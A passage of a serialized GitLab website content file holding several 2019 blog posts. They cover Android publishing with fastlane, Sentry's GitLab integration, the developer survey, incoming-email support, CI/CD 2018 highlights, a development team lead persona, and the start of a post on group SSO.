script](https://gitlab.com/gitlab-org/gitter/gitter-android-app/blob/master/ci-scripts/create-changlog-mr.sh) as us,\n\n - `deploy_key_android_repo`: see [https://docs.gitlab.com/ee/user/project/deploy_tokens/](https://docs.gitlab.com/ee/user/project/deploy_tokens/)\n - `gitlab_api_access_token`: see [https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) (we use a bot user)\n\n![Project variables for Gitter for Android](https://about.gitlab.com/images/blogimages/android-fastlane-variables.png){: .shadow.medium.center}\n\n## What's next\n\nUsing this configuration we've got Gitter for Android building, signing, deploying to our internal track, and publishing to production as frequently as we like. Next up will be to do the same for iOS, so watch this space for our next post!\n\nPhoto by [Patrick Tomasso](https://unsplash.com/@impatrickt) on [Unsplash](https://unsplash.com/photos/KGcLJwIYiac)\n{: .note}\n",[110,232,923,754],{"slug":30786,"featured":6,"template":678},"android-publishing-with-gitlab-and-fastlane","content:en-us:blog:android-publishing-with-gitlab-and-fastlane.yml","Android Publishing With Gitlab And Fastlane","en-us/blog/android-publishing-with-gitlab-and-fastlane.yml","en-us/blog/android-publishing-with-gitlab-and-fastlane",{"_path":30792,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30793,"content":30799,"config":30806,"_id":30808,"_type":16,"title":30809,"_source":17,"_file":30810,"_stem":30811,"_extension":20},"/en-us/blog/sentry-integration-blog-post",{"title":30794,"description":30795,"ogTitle":30794,"ogDescription":30795,"noIndex":6,"ogImage":30796,"ogUrl":30797,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30797,"schema":30798},"Sentry's GitLab integration streamlines error remediation","Your code has bugs, my code has bugs, everyone’s code has bugs (probably). Let’s fix that.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679964/Blog/Hero%20Images/sentry-io-blog.jpg","https://about.gitlab.com/blog/sentry-integration-blog-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline and shorten error remediation with Sentry’s new GitLab integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eva Sasson\"}],\n        \"datePublished\": \"2019-01-25\",\n      }",{"title":30800,"description":30795,"authors":30801,"heroImage":30796,"date":30803,"body":30804,"category":813,"tags":30805},"Streamline and shorten error remediation with Sentry’s new GitLab integration",[30802],"Eva Sasson","2019-01-25","\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/KUHk1uuXWhA?rel=0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nSentry is open source error tracking that gives visibility across your entire stack and provides the details you need to fix bugs, ASAP. Because the only thing better than visibility and details is more visibility and details, Sentry improved their [GitLab integration](https://docs.sentry.io/workflow/integrations/global-integrations/gitlab/?utm_source=GitLab&utm_medium=blog&utm_campaign=GitLab_GTM) by adding [release](https://docs.sentry.io/workflow/releases/?platform=browser&utm_source=GitLab&utm_medium=blog&utm_campaign=GitLab_GTM) and [commit](https://docs.sentry.io/workflow/releases/?platform=browser&utm_source=GitLab&utm_medium=blog&utm_campaign=GitLab_GTM#link-repository) tracking as well as [suspect commits](https://docs.sentry.io/workflow/releases/?platform=browser&utm_source=GitLab&utm_medium=blog&utm_campaign=GitLab_GTM#after-linking-a-repository).\n\n### Streamline your workflow with issue management and creation\n\nWhen you receive an alert about an error, the last thing you want to do is to jump around 20 different tools trying to find out exactly what happened and where. Developers with both Sentry and GitLab in their application lifecycle benefit from issue management and issue creation to their GitLab accounts directly in the Sentry UI, alleviating some of the hassle of back-and-forth tool toggling.\n\n![GitLab account in Sentry](https://about.gitlab.com/images/blogimages/sentry/gitlab-sentry-integration.png){: .shadow.large.center}\n\nOf course, less tool jumping results in a more streamlined triaging process and shortened time to issue resolution – something that benefits the whole team.\n\n![Creating GitLab issue](https://about.gitlab.com/images/blogimages/sentry/create-gitlab-issue.png){: .shadow.medium.center}\n\nHave a GitLab issue that wasn’t created in Sentry? No problem. Existing issues are also easily linked.\n\n![Import GitLab issue](https://about.gitlab.com/images/blogimages/sentry/import-gitlab-issue.png){: .shadow.medium.center}\n\n### Find and fix bugs faster with release and commit tracking\n\nWhy stop at streamlining the triaging process, when we can also make issue resolution more efficient? Sentry’s GitLab integration now utilizes GitLab commits to find and fix bugs faster.\n\nWith the newly added release and commit tracking, an enhanced release overview page uncovers new and resolved issues, files changed, and authors. Developers can also resolve issues via commit messages or merge requests, see suggested assignees for issues, and receive detailed deploy emails.\n\nWant a big flashing arrow that points to an error’s root cause? Sentry’s suspect commits feature exposes the commit that likely introduced an error as well as the developer who wrote the broken code.\n\n![Suspect commits feature](https://about.gitlab.com/images/blogimages/sentry/suspect-commits-feature.png){: .shadow.medium.center}\n\nKeep in mind that this feature is available for Sentry users on “Teams” plans and above.\n{: .note}\n\nCheck out [Sentry’s GitLab integration documentation](https://docs.sentry.io/workflow/integrations/global-integrations/gitlab/?utm_source=GitLab&utm_medium=blog&utm_campaign=GitLab_GTM) to get started.\n\n### What’s next?\n\nAgain, why stop there, when we can do even more? GitLab is currently working to bring Sentry into the GitLab interface. Soon, GitLab and Sentry users will see their Sentry errors listed in their GitLab projects. Read the documentation on [the integration here](https://docs.gitlab.com/ee/operations/error_tracking.html).\n\n### About the guest author\n\nEva Sasson is a Product Marketer at [Sentry.io](https://sentry.io/welcome/), an open source error-tracking tool that gives developers the contextual information they need to resolve issues quickly, and integrates with the other development tools across the stack.\n",[110,2368,4103,232,815,674,942,4772,1444],{"slug":30807,"featured":6,"template":678},"sentry-integration-blog-post","content:en-us:blog:sentry-integration-blog-post.yml","Sentry Integration Blog Post","en-us/blog/sentry-integration-blog-post.yml","en-us/blog/sentry-integration-blog-post",{"_path":30813,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30814,"content":30820,"config":30826,"_id":30828,"_type":16,"title":30829,"_source":17,"_file":30830,"_stem":30831,"_extension":20},"/en-us/blog/2019-developer-survey-announcement",{"title":30815,"description":30816,"ogTitle":30815,"ogDescription":30816,"noIndex":6,"ogImage":30817,"ogUrl":30818,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30818,"schema":30819},"The 2019 developer survey: Help shape the industry","What do you need in order to thrive? From fewer delays in the development process to early detection of security vulnerabilities, we want to identify what you need to move ideas into action.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679930/Blog/Hero%20Images/2019-developer-survey-cover.png","https://about.gitlab.com/blog/2019-developer-survey-announcement","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The 2019 Global Developer Survey is now open! Share your thoughts to shape the industry.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-01-23\",\n      }",{"title":30821,"description":30816,"authors":30822,"heroImage":30817,"date":30823,"body":30824,"category":8943,"tags":30825},"The 2019 Global Developer Survey is now open! Share your thoughts to shape the industry.",[20767],"2019-01-23","\n\nAs software professionals, you are the creators, builders, researchers, and\nproblem solvers of technology, and your opinions should be the pulse of the\nindustry. We passionately believe that [everyone can contribute](/company/mission/#mission),\nso we created the Global Developer Survey as a way to help you influence the way\nyou, your team, and your managers code, test, and deploy. By voicing your\nthoughts in the Developer Survey, you can shape a solution-focused approach\nto industry-wide challenges. We hope that, together, we can drive industry\ndialogue around the needs of today’s software professionals, sparking a movement\nto remove roadblocks and focus on helping teams thrive.\n\nWe'll examine the findings from the Developer Survey and provide a summary and\nanalysis in the Developer Report, which will be published in May.\nThis comprehensive report dissects cross-functional relationships and offers insights\ninto successful practices, problem areas, and potential solutions. In our\n[previous reports](/developer-survey/), we explored what teams need in order to\ndo their best work. This year, we want to uncover what software professionals\nneed in order to rapidly innovate. Whether you need more accurate estimates on\nplanning features, a decrease in development process delays, or early detection\nof security vulnerabilities, we want to identify your needs. Learn more and [share on Twitter](https://twitter.com/gitlab/status/1088116356405518343).\n\n## How the survey works\n\nThe survey takes less than 20 minutes to complete and includes\napproximately 45 questions. The survey is anonymous, and the data and results\nwill be reviewed in aggregate. We’re covering a large range of topics this year,\nincluding delays in the development lifecycle, planning features, and security analysis.\n\nTo ensure that the Developer Survey asks the right questions to elicit strong\nfindings, the UX research team collaborated on the survey, and we tested the\nquestions with the GitLab engineering team to gather feedback and suggestions\nfor improvement.\n\nThe survey is open to anyone involved in software engineering – from developers\nand engineers and security professionals to DevOps managers and IT executives.\nIf you're involved in software engineering, we'd love to hear your thoughts!\n\n## Swag and iPad Pro giveaway\n\nWe’re so grateful that you’re partnering with us to learn about the industry,\nso we’re giving away five GitLab messenger bags and one iPad Pro! Each week, we’ll\nrandomly select one respondent to receive a messenger bag. To enter to win the\niPad Pro, please take the survey, share the survey on social, and send a link to your\npublic post to giveaways@gitlab.com. We’ll randomly select a winner when the\nsurvey closes. Good luck! We hope you win. 😃\n\n## Frequently asked questions\n\n**What is the Global Developer Survey?**\n\nThe Developer Survey is an anonymous questionnaire that gathers insights from software\nprofessionals to reflect the growing needs and viewpoints of the industry.\n\n**What is the Global Developer Report?**\n\nThe Global Developer Report is a summary and analysis of the findings gathered in\nthe Developer Survey. It dissects cross-functional relationships and offers\ninsights into successful practices, problem areas, and potential solutions.\n\n**What is GitLab’s role?**\n\nWhile the Developer Report is published by GitLab, it’s not about GitLab. As\nsoftware professionals, your words have the power to shape the industry, inform\nleadership, and set trends, and your thoughts drive the survey. GitLab only\nwants to help you amplify your voices. \n\n**When does the survey open/close?**\n\nThe survey [opened on Jan. 23](https://twitter.com/gitlab/status/1088116356405518343) at 8am PT and closes on Feb. 27 at 11:59pm PT.\n\n**How do I win a prize?**\n\nTo enter to win a messenger bag, please complete the survey and enter your email address.\nTo enter to win the iPad Pro, please take the survey and enter your email address, share\nthe survey on social, and send a link to your public post to giveaways@gitlab.com.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\n[Take the survey](https://www.surveymonkey.com/r/KY2WBCK)\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\n*You must complete the survey and provide an email address to be eligible to\nwin a prize. Your privacy is important to us, so email addresses will only be used for the\ngiveaway draw and will not be saved.* [Please read the official sweepstake\nrules here.](https://about.gitlab.com/community/sweepstakes/2019-developer-survey.index.html)\n{: .note}\n",[8570,4103,267],{"slug":30827,"featured":6,"template":678},"2019-developer-survey-announcement","content:en-us:blog:2019-developer-survey-announcement.yml","2019 Developer Survey Announcement","en-us/blog/2019-developer-survey-announcement.yml","en-us/blog/2019-developer-survey-announcement",{"_path":30833,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30834,"content":30840,"config":30844,"_id":30846,"_type":16,"title":30847,"_source":17,"_file":30848,"_stem":30849,"_extension":20},"/en-us/blog/support-microsoft-exchange-google-groups-incoming-email",{"title":30835,"description":30836,"ogTitle":30835,"ogDescription":30836,"noIndex":6,"ogImage":30837,"ogUrl":30838,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30838,"schema":30839},"Microsoft Exchange & Google Groups now supported by GitLab","You now have even more choices when configuring an email server for your self-managed GitLab instance","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684071/Blog/Hero%20Images/mailboxes.jpg","https://about.gitlab.com/blog/support-microsoft-exchange-google-groups-incoming-email","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab now supports Microsoft Exchange and Google Groups for incoming email features like Service Desk\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2019-01-23\",\n      }",{"title":30841,"description":30836,"authors":30842,"heroImage":30837,"date":30823,"body":30843,"category":734},"GitLab now supports Microsoft Exchange and Google Groups for incoming email features like Service Desk",[30512],"\n\nAs of [GitLab 11.7](/releases/2019/01/22/gitlab-11-7-released/), you can now use either Microsoft Exchange or Google Groups with your self-managed GitLab instance, configured as an email server, giving you even more options when setting up incoming email functionality. Users of GitLab.com are unaffected by this change, and already have access to features requiring incoming email, per their specific [subscription](/pricing/#gitlab-com).\n\nThere are several important features in GitLab that depend on users being able to receive emails from GitLab:\n- [Comment on issues and merge requests by replying to notification emails](https://docs.gitlab.com/ee/administration/reply_by_email.html)\n- [Create a new issue via email with a user-specific email address](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#new-issue-via-email)\n- [Create a new merge request via merge request with a user-specific email address](https://docs.gitlab.com/ee/user/project/merge_requests/index.html#create-new-merge-requests-by-email)\n- [Service Desk: Have your customers email in feedback/support which are converted directly into GitLab issues](https://docs.gitlab.com/ee/user/project/service_desk.html)\n\nPreviously, these features were available to self-managed GitLab users only if your email server supported sub-addressing. Microsoft Exchange and Google Groups do not support sub-addressing. GitLab 11.7 now supports both sub-addressing and catch-all email mailboxes, enabling compatibility with these two popular options that do provide catch-all email mailboxes. \n\nRead more about [configuring incoming email in GitLab](https://docs.gitlab.com/ee/administration/incoming_email.html).\n\n[Cover image](https://unsplash.com/photos/fb7yNPbT0l8) by [mathyaskurmann](https://unsplash.com/@mathyaskurmann) on Unsplash\n{: .note}\n",{"slug":30845,"featured":6,"template":678},"support-microsoft-exchange-google-groups-incoming-email","content:en-us:blog:support-microsoft-exchange-google-groups-incoming-email.yml","Support Microsoft Exchange Google Groups Incoming Email","en-us/blog/support-microsoft-exchange-google-groups-incoming-email.yml","en-us/blog/support-microsoft-exchange-google-groups-incoming-email",{"_path":30851,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30852,"content":30857,"config":30862,"_id":30864,"_type":16,"title":30865,"_source":17,"_file":30866,"_stem":30867,"_extension":20},"/en-us/blog/gitlab-ci-cd-features-improvements",{"title":30853,"description":30854,"ogTitle":30853,"ogDescription":30854,"noIndex":6,"ogImage":9757,"ogUrl":30855,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30855,"schema":30856},"GitLab CI/CD's 2018 highlights","We move quickly, always with an eye to the future, but let's take a moment to look back on how GitLab CI/CD has evolved in the past six months.","https://about.gitlab.com/blog/gitlab-ci-cd-features-improvements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab CI/CD's 2018 highlights\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-01-21\",\n      }",{"title":30853,"description":30854,"authors":30858,"heroImage":9757,"date":30859,"body":30860,"category":299,"tags":30861},[22054],"2019-01-21","\nHello everyone, and happy New Year! For those who don't know me, my name is [Jason Yavorska](/company/team/#jyavorska) and I've been the product manager of GitLab CI/CD since around the middle of last year. 2018 was a big year for CI/CD improvements in GitLab, and I'm so proud of our team and what we've been able to deliver in partnership with you, our users. Even just looking back on the last six months of improvements, we've delivered a ton of changes that move our vision for CI/CD forward, address important asks from our users, and build the foundation for an amazing 2019.\n\nBelow are a few of the highlights from my time here so far; be sure to let me know in the comments if I missed something that meant a lot to you.\n\n## Access control for GitLab Pages\n\nOne of the most amazing things about working for an open core company like GitLab is that our community of users can play an outsized role in how our product grows and develops, thanks to their always impressive contributions. Last year we introduced [Access control for Pages (11.5)](https://gitlab.com/gitlab-org/gitlab-ce/issues/33422), a feature with 304 👍 that was actually part of our 2019 vision, and was built thanks to a significant community contribution from MVP [Tuomo Ala-Vannesluoma](https://gitlab.com/tuomoa).\n\nThis was not just a great feature, but also highlights how GitLab and community contributors can work together to do amazing things. It came out shortly after I joined as a new product manager here, and it really opened my eyes to the possibilities inherent in working together transparently and openly with our user community. Now I don't think I could ever go back to any other way of working.\n\n## Feature flags\n\nI'm always looking for ways to expand our horizons and bring more great capabilities into the CI/CD space, and the team achieved that last year with [Allow users to create and manage feature flags for their applications (11.4)](https://gitlab.com/gitlab-org/gitlab-ee/issues/6220). A major piece of our 2018 vision, feature flags are so important to continuous delivery workflows since they allow you to safely isolate delivering your code to production, from the moment users engage with it, giving you more control and better options when it comes to how and when you deliver software.\n\n![CI/CD feature flags](https://about.gitlab.com/images/blogimages/cicd-feature_flags.png){: .shadow.medium.center}\n\n## Pipelines for merge requests\n\nSometimes, what you do in one year may be valuable on its own, but it also helps establish a foundation for more in the future. A common request from the community last year had been to make pipelines more aware of merge requests, so that at runtime, information such as the target branch, merge request name and ID, and other information was available to the pipeline. In 2018 we introduced [`only/except: merge_requests` for merge request pipelines (11.6)](https://gitlab.com/gitlab-org/gitlab-ce/issues/15310), which created this linkage. One great way to take advantage of this feature already is to use it to only create [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) on merge requests, helping to save money on environments versus creating them for every pipeline.\n\nPerhaps even more exciting than this feature on its own, is that it will continue to evolve and grow into the ability to [Run a pipeline on what the merged result will be](https://gitlab.com/gitlab-org/gitlab-ee/issues/7380). I can already say with confidence that this will be a game changer for teams that want to prioritize keeping their `master` branch green. As far as predicting the future outside of GitLab, I'm still accepting merge requests for that 😉\n\n![pipelines for merge requests](https://about.gitlab.com/images/blogimages/cicd-mr_pipelines.png){: .shadow.medium.center}\n\n## Usability improvements for the merge request widget\n\nSpeaking of merge requests, in general the team has made a lot of improvements to how the merge request widget interacts with CI/CD. We added [JUnit XML Test Summary (11.2)](https://gitlab.com/gitlab-org/gitlab-ce/issues/45318), part of our 2018 vision to make testing a more interactive part of the CI pipeline. We also now [Show enhanced information on running deploys (11.5)](https://gitlab.com/gitlab-org/gitlab-ce/issues/25140), and [Link directly to changed pages in Review App (11.5)](https://gitlab.com/gitlab-org/gitlab-ce/issues/33418), which uses [Route Maps](https://docs.gitlab.com/ee/ci/environments/index.html#go-directly-from-source-files-to-public-pages-on-the-environment) to send you directly to the updated content. Both of these changes were welcome improvements that made it much easier to see what was going on, all in one place.\n\n![CI/CD review app link](https://about.gitlab.com/images/blogimages/cicd-reviewapp_link.png){: .shadow.medium.center}\n\n## #movingtogitlab\n\n[#movingtogitlab](https://twitter.com/hashtag/movingtogitlab?src=hash) was an exciting movement in 2018, and I wanted to ensure a great experience for everyone checking us out, even if they were just trying out GitLab CI or other features, and still using GitHub for repositories. One of the challenges that people ran into early on was the way status checks were named by GitLab CI, which didn't play nicely with the way GitHub expected them to work. The team was able to introduce [Name status checks consistently to support GitHub-integrated CI workflow (11.5)](https://gitlab.com/gitlab-org/gitlab-ce/issues/53902) as a change to unblock this, ensuring a valuable experience for everyone, even if you weren't ready to go \"all in\" on GitLab yet.\n\n## Stewardship\n\nHere at GitLab, we take [stewardship of open source](/company/stewardship/) seriously. I was very happy to move the `include:` keyword from paid to free, because I know how important it is for CI/CD users to support proper reuse instead of copy-pasted code. [Move \"include external files in .gitlab-ci.yml\" from Starter to Core (11.4)](https://gitlab.com/gitlab-org/gitlab-ce/issues/42861) (with a grand total of 267 👍 on the issue) achieved this, and opened up new doors, not just for avoiding duplication, but also for more secure ways of implementing common workflows by moving compliance, security, and governance job implementation to a centrally controlled location.\n\n## Honorable mentions\n\nThere wasn't enough time to cover everything in this post without making it a mile long, but there are a few other honorable mentions I want to call out:\n\n- [11.2: Manually stopping environments](https://gitlab.com/gitlab-org/gitlab-ce/issues/25388) (with 245 👍 from our users) added the ability to manually stop your environments, such as review apps, instead of only through pipeline automation.\n- [11.3: Improve handling of includes in `.gitlab-ci.yml` to better enable script reuse/templates](https://gitlab.com/gitlab-org/gitlab-ce/issues/51521) introduced a new way to `extend` your job definitions using templates, including from across different files.\n- [11.4: Run jobs only/except when there are changes for a given path or file](https://gitlab.com/gitlab-org/gitlab-ce/issues/19232) (with a whopping 424 👍) gave you the ability to control whether a job runs or not, based on which files were changed.\n- [11.4: Add support for interactive web terminal to Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/issues/3467) let you connect an interactive to a build/deploy environment and troubleshoot on the live runner host.\n- [11.4: Add timed deployments to AutoDevOps incremental rollouts](https://gitlab.com/gitlab-org/gitlab-ee/issues/7545) enabled new deployment strategies where the rollout was done over time in phases.\n- [11.5: `parallel` job keyword to speed up pipelines](https://gitlab.com/gitlab-org/gitlab-ce/issues/21480) added an easy way to run parallel instances of a job without creating duplicate jobs in your `gitlab-ci.yml`.\n- [11.6: Allow pipelines to be deleted by project owners](https://gitlab.com/gitlab-org/gitlab-ce/issues/41875) (265 👍) gave control over removing old and invalid pipelines, as well as those which may have accidentally included sensitive information in the outputs.\n\n## What's next?\n\nOf course, the mission to improve GitLab CI/CD doesn't stop here. We're bringing [Brendan O'Leary](/company/team/#olearycrew) on board as the full-time product manager for CI (what we call the [Verify stage](/stages-devops-lifecycle/verify/)), freeing me up to focus entirely on CD (what we call [Release](/stages-devops-lifecycle/release/)). We're also significantly growing headcount for the engineering teams supporting us. Having full-time product managers and larger teams dedicated to each of these stages is going to allow us to deliver even more amazing things, even faster.\n\nI've touched on a couple points above, but tried to avoid making this a preview of what's coming for CI/CD in 2019. If you're interested in where Brendan and I are headed, you can visit our direction pages for [Verify (CI)](/direction/verify/) and [Release (CD)](/direction/release/), and feel free to reach out to us directly if you'd like to have a conversation – we'd love to chat about your ideas. Being a transparent, open core company, we also welcome participation in all of our public issues (which you'll find linked to from the above direction pages). For me, the best part of this job is interacting with you, the users of GitLab, so thank you for that opportunity. Here's to another great year of working together to make the job of delivering software fun and rewarding!\n\n## Just one more thing...\n\nI'd be remiss if I didn't mention how great GitLab is as a place to work. If you're interested in joining our all-remote team, we're constantly growing and looking for great PMs and others to join us. Check out [our jobs page](/jobs/) to learn more. I'd encourage you to apply even if you don't see an exact match – GitLab is great at finding the right fit for the right personality, even if that's not exactly listed on our hiring website. If you're really unsure, feel free to reach out to me directly ([@j4yav](https://twitter.com/j4yav)) and I'll help you get in touch with the right person.\n",[1384,267,754,676,815],{"slug":30863,"featured":6,"template":678},"gitlab-ci-cd-features-improvements","content:en-us:blog:gitlab-ci-cd-features-improvements.yml","Gitlab Ci Cd Features Improvements","en-us/blog/gitlab-ci-cd-features-improvements.yml","en-us/blog/gitlab-ci-cd-features-improvements",{"_path":30869,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30870,"content":30875,"config":30880,"_id":30882,"_type":16,"title":30883,"_source":17,"_file":30884,"_stem":30885,"_extension":20},"/en-us/blog/inside-our-new-development-team-lead-persona",{"title":30871,"description":30872,"ogTitle":30871,"ogDescription":30872,"noIndex":6,"ogImage":13752,"ogUrl":30873,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30873,"schema":30874},"What are the best and worst parts about being a development team lead?","Dev leads, we feel you. Here's a deep dive into our interviews with development team leads, and the new persona they informed.","https://about.gitlab.com/blog/inside-our-new-development-team-lead-persona","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What are the best and worst parts about being a development team lead?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Katherine Okpara\"}],\n        \"datePublished\": \"2019-01-18\",\n      }",{"title":30871,"description":30872,"authors":30876,"heroImage":13752,"date":30877,"body":30878,"category":734,"tags":30879},[28270],"2019-01-18","\nWelcome back to our series on the [new GitLab personas](/handbook/product/personas/)! I recently [wrote about what we learned from product managers during interviews](/blog/inside-our-new-product-manager-persona/) for our [UX research project to develop personas](https://gitlab.com/gitlab-org/ux-research/issues/77) for all product areas. In this post, I'll share some of the insights from our efforts to better understand development team leads, and introduce the resulting persona, [Delaney](/handbook/product/personas/#delaney-development-team-lead).\n\n## The research\n\nHere are some of the findings from my [six interviews](https://gitlab.com/gitlab-org/ux-research/issues/95) conducted for the persona.\n\nDevelopment team leads are often responsible for meeting with product managers and stakeholders to discuss scheduled feature requests, convert concepts into practical solutions, ensure that capacity is properly estimated, and assign work to developers. They are also involved in other duties such as creating design and functional specifications, writing code, documenting and automating processes, and mentoring other developers.\n\n### So, what’s the hardest part about being a development team lead?\n\nDue to the nature of their work, the challenges development team leads face often cross into several domains.\n\n#### Vague requirements and poor communication\n\nIt can be difficult to know the status of certain requirements when other team members don't update the various tools that are being used. Important information can get lost along the way, which often leads to repetitive discussions or fixing incorrect work. Many of the people we spoke with are looking for ways to have this information readily accessible and consistently communicated throughout their teams.\n\n> \"Sometimes the back and forth can be annoying, when the requirements aren’t clear and I have to go back a step to understand what is going on or a component is not what I wanted. At a previous company, the back and forth was especially drawn out since the team did not work closely together. At [my current] company, this problem isn’t as severe since I work closely with the team and can quickly ask for clarification if I need to. Working more efficiently saves a lot of time.\"\n\n####  Difficulty making accurate estimations of timeline and capacity\n\nA team lead must have a good understanding of the skillsets available on their team and use this insight to balance business objectives. In order to get a better sense of the experience levels of different team members, they often hold one-on-one meetings or conduct reviews during and after a development cycle.\n\n> \" ... This goes back to the burndown chart – if it's being used correctly, it can help you see where you’ll end up. In order for that to happen, you need your estimations to be accurate. And in order for _that_ to happen you need to figure out the accuracy of the baseline and experience of the developer. For example, someone who is more junior has less of a reference point. I have to assign extra points to stories, if there are unknown variables.\"\n\n#### Delivering on time\n\nWhen demand surpasses current capacity, it can be stressful to resolve existing problems without creating new issues that result from hasty work. It can also be difficult to explain technical limitations to stakeholders who are not involved in the development process.\n\n> \"Someone might see a code review request but feel conflicted since they only have two days left to finish their own tasks. So sometimes testers and customers are waiting on these code reviews to move forward ... The biggest thing would be having all those tickets, all of those changes, closely correlated with the actual changes in Git. 'For this particular feature, here are all the changes in Git.' You don’t have to read the codebase or fire up the whole application. You have the information all in one place and don’t need to hunt down information.\"\n\n#### Changing mindsets in organizations to adopt faster, iterative approaches\n\nSome development teams are slowed down by inefficient toolchains or outdated workflows because their organizations are resistant to change and adopting new practices. Introducing new ideas and methodologies can be an especially complex process in organizations that create products for industries with more restrictions and regulations than others.\n\n> \"Most blockers that arise are put in their own way. I would prefer to iterate while they rather plan everything out for long periods of time. Their own processes get in their way because they don’t think they can move faster. Many of their processes are filled with errors and take days or weeks. They’ve always done things a certain way and are not really willing to make a change.\"\n\n### What motivates a development team lead?\n\nOne of the biggest goals for many development team leads is the drive to continually optimize processes and deliver value to the product. They must also build a level of communication that enables them to assign tasks to the appropriate people, explain why certain feature requests are or are not feasible, and continue to implement strategic solutions.\n\n### What’s the best part about being a development team lead?\n\nThe best part of being a Development Team Lead is problem solving on a variety of levels – from tools to methodologies to team relations and more. When teams are well supported by their leaders and organizations, they are better equipped to meet the expectations that will move both the product and business forward!\n\n## The persona\n\n[![Delaney, Development Team Lead persona](https://about.gitlab.com/images/blogimages/delaney-dev-team-lead-persona.png)](/handbook/product/personas/#delaney-development-team-lead)\n\n### Want to share your experiences of GitLab with me?\n\nJoin [GitLab First Look](/community/gitlab-first-look/) and help us build an even better picture of who GitLab’s users really are!\n\n[Photo](https://unsplash.com/photos/atSaEOeE8Nk) by [Steven Lelham](https://unsplash.com/@slelham) on Unsplash\n{: .note}\n",[942,1444,2249],{"slug":30881,"featured":6,"template":678},"inside-our-new-development-team-lead-persona","content:en-us:blog:inside-our-new-development-team-lead-persona.yml","Inside Our New Development Team Lead Persona","en-us/blog/inside-our-new-development-team-lead-persona.yml","en-us/blog/inside-our-new-development-team-lead-persona",{"_path":30887,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30888,"content":30893,"config":30898,"_id":30900,"_type":16,"title":30901,"_source":17,"_file":30902,"_stem":30903,"_extension":20},"/en-us/blog/iterating-on-sso",{"title":30889,"description":30890,"ogTitle":30889,"ogDescription":30890,"noIndex":6,"ogImage":12013,"ogUrl":30891,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30891,"schema":30892},"How we are iterating on Group Single Sign On for GitLab.com","Here's some insight into our approach to improving a key enterprise capability for GitLab.com, SSO.","https://about.gitlab.com/blog/iterating-on-sso","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we are iterating on Group Single Sign On for GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Brinkman\"}],\n        \"datePublished\": \"2019-01-17\",\n      }",{"title":30889,"description":30890,"authors":30894,"heroImage":12013,"date":30895,"body":30896,"category":299,"tags":30897},[25568],"2019-01-17","\n\nAt GitLab, we do things a little differently. We believe in shipping what we call the MVC, or minimum viable change, rather than waiting for something to be perfect. We’d rather our customers get their hands on a portion of the feature to ensure we are on the right track and that our next iteration is spot on, than wait several months to ship a full feature that may not be exactly what customers desire. In fact, [iteration is one of our six core values](https://handbook.gitlab.com/handbook/values/#iteration) at GitLab, and it’s something that drives our day-to-day decision making. In this blog post, we’ll take a look at how a recent enterprise authentication feature challenged our organization with respect to prioritization, core values, and [transparency](https://handbook.gitlab.com/handbook/values/#transparency) with customers. We’ll also discuss our vision for GitLab.com, and the associated challenges we’ve come across while ensuring it’s a solution that works seamlessly for enterprise adoption of GitLab.\n\nSingle Sign On, or SSO, has been at the forefront of most enterprises’ digital transformation requirements for quite some time. Enterprise organizations require access to software to be controlled by their Identity Provider of choice as there are hundreds, if not thousands, of users. Manually provisioning users and revoking access across multiple systems when employees leave is not scalable and is error prone in organizations of any size.\n\nWe’ve long had [support for SAML, LDAP, and OAuth configuration](https://docs.gitlab.com/ee/administration/auth/) for self-managed GitLab, which assumes our customers have admin access at the instance level. While this works great for individual instances, a different approach is needed for GitLab.com, which is a giant, multi-tenant version of a single instance, primarily segregated at the group level for enterprises.\n\nIn [GitLab 11.0](/releases/2018/06/22/gitlab-11-0-released/#saml-single-sign-on-for-groups-beta), shipped in June 2018, we launched the [MVC to take the first step in SAML-based SSO on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/40). When we launched this functionality, we knew it wasn’t going to solve 100 percent of enterprise authentication needs, but rather than keeping this functionality private until we had other SSO features (such as 